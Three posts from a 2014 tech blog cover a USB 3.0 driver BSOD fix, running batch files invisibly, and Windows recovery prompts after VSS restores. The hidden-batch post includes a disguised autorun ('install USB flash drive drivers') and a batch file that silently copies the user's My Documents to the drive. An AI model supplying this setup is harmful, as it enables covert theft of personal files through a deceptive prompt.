Monday, June 23, 2014

USB 3.0: How to fix BSOD 7B; how to check speed; how to track changes.

When we install USB3.0 driver using setup.exe, it installs following drivers:

1) Intel® USB 3.0 eXtensible Host Controller Driver | iusb3xhc.sys
2) Intel® USB 3.0 Root Hub Driver | iusb3hub.sys
3) Intel® USB 3.0 Host Controller Switch Driver | iusb3hcs.sys
4) Intel® USB 3.0 Monitor | iusb3mon.exe

“Intel® USB 3.0 Host Controller Switch Driver (iusb3hcs.sys) is not even getting installed/loaded when we boot to DomU. The main function of this driver is to detect Super Speed USB Devices and attach that device to Intel USB 3.0 xHCI Controller. When we attach a USB Device - which is Super Speed [USB 3.0] Capable - then this HCS Driver will route/attach the Device to Intel USB 3.0 extensible Host Controller. Since this driver is not getting loaded/installed in DomU, so a USB3.0 device is not getting switched to USB3.0 (xhci) controller and it only works in USB2.0 mode – see snapshot below

If a BSOD is related to USB then most likely it is being caused by Intel® USB 3.0 Host Controller Switch Driver. 

Iusb3hcs.sys is a LowerFilter WDF Driver and this driver starts at Windows boot time. This driver is installed on a PCI Bus (see below).  So now, when we install/uninstall the driver using setup.exe, it is able to install/uninstall #1, #2 and #4 (from below) successfully, but could not complete all the install/uninstall cleanup tasks for #3 (which is a critical ACPI Boot Extender Driver- see snapshot below) and hence windows is throwing a BSOD.

To fix the BSOD:
Install the drivers manually and do not install Intel® USB 3.0 Host Controller Switch Driver (iusb3hcs.sys) driver. Use device manager to manually install the other 3 drivers.
Option#2: Manually remove iusb3hcs.sys start entry from register. Connect your HDD as external disk and load the registry hive from C:\windows\system32\config and make changes
Option#3: Restore to a previous windows restore point.

How to check USB 3.0 Speed and make sure USB3.0 is actually connecting to correct hub/driver.

Use following tools/procedures:

How to find what is getting changed on a system after installing/uninstalling a driver or application.
Use Following Tools:


Wednesday, June 18, 2014

How to run a windows bat file without popup (completely hidden)

I was looking for some way to run a batch file (.bat) without anything visible to the user (no window, no taskbar name, .etc..). Here are the steps that worked for me

1. Save this one line of text as file invis.vbs. This will used to hide the popup

     CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

2. To run any program or batch file invisibly, use it like this:
     Make a launch.bat

    wscript.exe "C:\Wherever\invis.vbs" "C:\Some Other Place\MyBatchFile.bat"

More use cases (just for testing purpose)
You can use the above and create a autolaunch.bat in USB and copy stuff without any popup.

Create an autorun in USB
  action=Click "OK" to install USB flash drive drivers

And create a driver.bat
 @echo off 
  mkdir %~d0\%computername%
  xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h

Copy all 4 files in a UBS and insert usb and test

Tuesday, June 10, 2014

Lets talk dirty (bit)- Windows Error recovery after backup/restore

Windows uses a boot status “C:\Windows\bootstat.dat” file to record the fact that it has progressed through various stages and stores information about the last successful boot and shutdown. This allows the Boot Manager, and the Startup Repair tool to detect abnormal shutdown and offer the user recovery and diagnostic boot options.  The bootstat.dat is a hidden system file and can only be changed by windows bootmanager. I explored all available option using bcdedit and there is no way to read the file content or clear the “unclean shutdown” flag from it. The only thing you can do using bcdedit is change the location of file or turn on/off bcd entry session preservation.

Actually, the behavior you are seeing after vss based backup and restore is not really a dirty bit issue. This looks like a normal behavior because when we took the vss snapshot windows was in running state. So as per bootstat.dat file, the state of windows is running in backed up snapshot. And now when we are running it after restore then windows think it was not shutdown properly. So for windows point of view, the shutdown was unexpected because per bootstat file, last windows state was running.

The fact that windows does not allow to change bootstat.dat log file so I think there is no good way to fix this behavior. We can try backing up this file when Windows is in shutdown state and then overwrite the existing file in backup vhd. But again this is not a clean solution and we may leave vhd in to non-bootable state if the timestamp of two files are way off.

I also tried taking normal windows image backup (which also uses vss snapshots and create VHD) and after restore it had the same behavior (showed windows recovery screen upon first boot).